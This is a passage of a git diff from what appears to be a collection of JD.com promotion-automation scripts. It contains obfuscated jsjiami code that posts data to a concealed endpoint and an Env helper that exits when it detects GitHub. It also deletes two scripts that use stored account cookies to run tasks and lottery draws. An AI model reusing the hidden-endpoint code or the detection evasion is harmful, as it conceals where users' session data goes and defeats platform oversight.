_0x4ee681=[_0x30c8d7[_0xf8d7('‫2b3')]];if(process[_0xf8d7('‫7')][_0xf8d7('‫f3')]){if(_0x30c8d7[_0xf8d7('‮2b4')](_0x30c8d7[_0xf8d7('‮2b5')],_0x30c8d7[_0xf8d7('‫2b6')])){_0xe74695=process[_0xf8d7('‫7')][_0xf8d7('‫f3')];}else{if(err){$[_0xf8d7('‮29')]=![];}else{if(_0xe49ded)_0xe49ded=JSON[_0xf8d7('‫d')](_0xe49ded);$[_0xf8d7('‮29')]=!![];}}}else{if(_0x30c8d7[_0xf8d7('‮2b4')](_0x30c8d7[_0xf8d7('‮2b7')],_0x30c8d7[_0xf8d7('‮2b7')])){cookie+=_0x3aba03[_0xf8d7('‮2b8')](_0x3aba03[_0xf8d7('‮2b8')](_0x3aba03[_0xf8d7('‮2b8')](vo,'='),lz_cookie[vo]),';');}else{_0xe74695=_0x4ee681[Math[_0xf8d7('‮1a9')](_0x30c8d7[_0xf8d7('‮2b9')](Math[_0xf8d7('‮11e')](),_0x4ee681[_0xf8d7('‫2f')]))];}}let _0x33f248={'url':_0xf8d7('‮2ba'),'body':JSON[_0xf8d7('‫1c2')](_0xe49ded),'headers':{'Host':_0xe74695,'User-Agent':_0x30c8d7[_0xf8d7('‮2bb')]},'timeout':_0x30c8d7[_0xf8d7('‫2bc')](0x1e,0x3e8)};$[_0xf8d7('‫cc')](_0x33f248,(_0x162cdf,_0x238e50,_0xe49ded)=>{try{if(_0x162cdf){console[_0xf8d7('‫a')](''+JSON[_0xf8d7('‫1c2')](_0x162cdf));console[_0xf8d7('‫a')]($[_0xf8d7('‮2b')]+_0xf8d7('‮1c3'));}else{}}catch(_0x5c5739){if(_0x3aba03[_0xf8d7('‫2bd')](_0x3aba03[_0xf8d7('‫2be')],_0x3aba03[_0xf8d7('‮2bf')])){$[_0xf8d7('‫131')](_0x5c5739,_0x238e50);}else{if(_0x162cdf){console[_0xf8d7('‫a')](_0x162cdf);}else{res=JSON[_0xf8d7('‫d')](_0xe49ded);if(res[_0xf8d7('‫24b')]){console[_0xf8d7('‫a')](res);$[_0xf8d7('‮20b')]=res[_0xf8d7('‮20c')];}}}}finally{_0x3aba03[_0xf8d7('‫2c0')](_0x22fd50,_0xe49ded);}});});};_0xodr='jsjiami.com.v6'; +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_market_lottery.js b/jd_market_lottery.js deleted file mode 100644 index 6945b2aa6..000000000 --- a/jd_market_lottery.js +++ /dev/null @@ -1,188 +0,0 @@ -// author: 疯疯 -/* -幸运大转盘 -活动地址:https://pro.m.jd.com/mall/active/3ryu78eKuLyY5YipWWVSeRQEpLQP/index.html -脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js -==============Quantumult X============== -[task_local] -#幸运大转盘 -4 10 * * * jd_market_lottery.js, tag=幸运大转盘, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -==============Loon============== -[Script] -cron "4 10 * * *" script-path=jd_market_lottery.js,tag=幸运大转盘 - -================Surge=============== -幸运大转盘 = type=cron,cronexp="4 10 * * *",wake-system=1,timeout=3600,script-path=jd_market_lottery.js - -===============小火箭========== -幸运大转盘 = type=cron,script-path=jd_market_lottery.js, cronexpr="4 10 * * *", timeout=3600, enable=true -*/ - -const $ = new Env("幸运大转盘"); -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -let cookiesArr = [], - cookie = "", - allMsg = ''; - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]); - }); - console.log(`如果出现提示 ?.data. 错误,请升级nodejs版本(进入容器后,apk add nodejs-current)`) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -const JD_API_HOST = "https://api.m.jd.com/client.action"; -!(async () => { - if (!cookiesArr[0]) { - $.msg( - $.name, - "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", - "https://bean.m.jd.com/", - {"open-url": "https://bean.m.jd.com/"} - ); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent( - cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] - ); - $.index = i + 1; - console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); - await main() - } - } - await showMsg() -})() - .catch((e) => { - $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); - }) - .finally(() => { - $.done(); - }); -function showMsg() { - return new Promise(async resolve => { - if (allMsg) $.msg($.name, '', allMsg); - resolve(); - }) -} -async function main() { - await getInfo('https://pro.m.jd.com/mall/active/3ryu78eKuLyY5YipWWVSeRQEpLQP/index.html') - await getInfo('https://pro.m.jd.com/mall/active/3ryu78eKuLyY5YipWWVSeRQEpLQP/index.html') -} -async function getInfo(url) { - return new Promise(resolve=>{ - $.get({ - url, - headers:{ - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - },async (err,resp,data)=>{ - try{ - if(err){ - - }else{ - data = $.toObj(data.match(/window.__react_data__ = (\{.*\})/)[1]) - let taskList = data?.activityData?.floorList?.filter(vo=>vo.template==='score_task')[0] - //console.log(data?.activityData?.floorList) - for(let vo of taskList['taskItemList']){ - for(let i = vo.joinTimes; i< vo.taskLimit;++i){ - console.log(`去完成${vo?.flexibleData?.taskName ?? vo.enAwardK}任务,第${i+1}次`) - await doTask(vo.enAwardK) - await $.wait(500) - } - } - let lottery = data?.activityData?.floorList?.filter(vo=>vo.template==='choujiang_wheel')[0] - //console.log(lottery) - const {userScore,lotteryScore} = lottery.lotteryGuaGuaLe - if(lotteryScore<=userScore) { - console.log(`抽奖需要${lotteryScore},当前${userScore}分,去抽奖`) - await doLottery("a84f9428da0bb36a6a11884c54300582") - } else { - console.log(`当前积分已不足去抽奖`) - } - } - }catch (e) { - - }finally { - resolve() - } - - }) - }) -} -function doTask(enAwardK) { - return new Promise(resolve => { - $.post(taskUrl('babelDoScoreTask',{enAwardK,"isQueryResult":0,"siteClient":"apple","mitemAddrId":"","geo":{"lng":"","lat":""},"addressId":"","posLng":"","posLat":"","homeLng":"","homeLat":"","focus":"","innerAnchor":"","cv":"2.0"}), - (err,resp,data)=>{ - try{ - if(err){ - - }else{ - data = $.toObj(data) - console.log(data.promptMsg) - } - }catch (e) { - - }finally { - resolve() - } - }) - }) -} -function doLottery(enAwardK,authType="2") { - return new Promise(resolve => { - $.post(taskUrl('babelGetLottery',{enAwardK,authType}), - (err,resp,data)=>{ - try{ - if(err){ - - }else{ - data = $.toObj(data) - console.log(data.promptMsg) - allMsg += `【京东账号${$.index}】${$.UserName}:${data.promptMsg}\n` - } - }catch (e) { - - }finally { - resolve() - } - }) - }) -} -function taskUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}/client.action?functionId=${function_id}`, - body: `body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_mfredrain.js b/jd_mfredrain.js deleted file mode 100644 index 6935b4dc2..000000000 --- a/jd_mfredrain.js +++ /dev/null @@ -1,172 +0,0 @@ -/* -空气、6豆、10豆、20豆 -cron:1 10 * * * -============Quantumultx=============== -[task_local] -#魔方红包雨 -1 12 * * * jd_mfredrain.js, tag=魔方红包雨, enabled=true - */ - -const $ = new Env('魔方红包雨'); -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message = ''; -let encryptProjectId = '3NhNqgKD5WYkmLLsudX1Z2vVS5pP'; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await dotask(); - await $.wait(1000) - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - - -async function dotask() { - return new Promise(async (resolve) => { - $.get(taskUrl(), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`doInteractiveAssignment API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data) - if (data.subCode == 0){ - console.log(data.rewardsInfo?.successRewards[3][0]?.rewardName||'空气') - }else{ - console.log(data.msg) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data) - } - }) - }) -} - -function taskUrl() { - return { - url: `https://api.m.jd.com/client.action?client=wh5&clientVersion=1.0.0&appid=redrain-2021&functionId=doInteractiveAssignment&body=%7B%22completionFlag%22:true,%22sourceCode%22:%22acehby20210924%22,%22encryptProjectId%22:%22uyuXxVVy8C3AarwZ2VAHecYNat6%22,%22encryptAssignmentId%22:%2246xcZZ1QaAG7ykQzpDNtSwarHxSk%22%7D`, - headers: { - 'Host': 'api.m.jd.com', - 'accept':'application/json, text/plain, */*', - 'Origin': 'https://prodev.m.jd.com', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Cookie': cookie - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data 